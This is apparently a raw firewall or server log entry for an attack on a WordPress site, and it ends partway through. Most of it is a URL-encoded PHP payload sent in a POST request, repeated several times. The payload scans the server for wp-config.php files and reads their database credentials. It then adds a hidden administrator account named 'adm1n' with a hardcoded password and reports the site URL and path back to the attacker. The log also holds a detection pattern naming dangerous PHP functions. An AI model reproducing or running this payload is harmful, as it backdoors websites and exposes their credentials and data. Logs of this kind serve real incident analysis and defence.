20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-20 17:22:02","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> pg:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-length:12640\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpTpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-fetch-mode:navigate\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\n\npg=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%2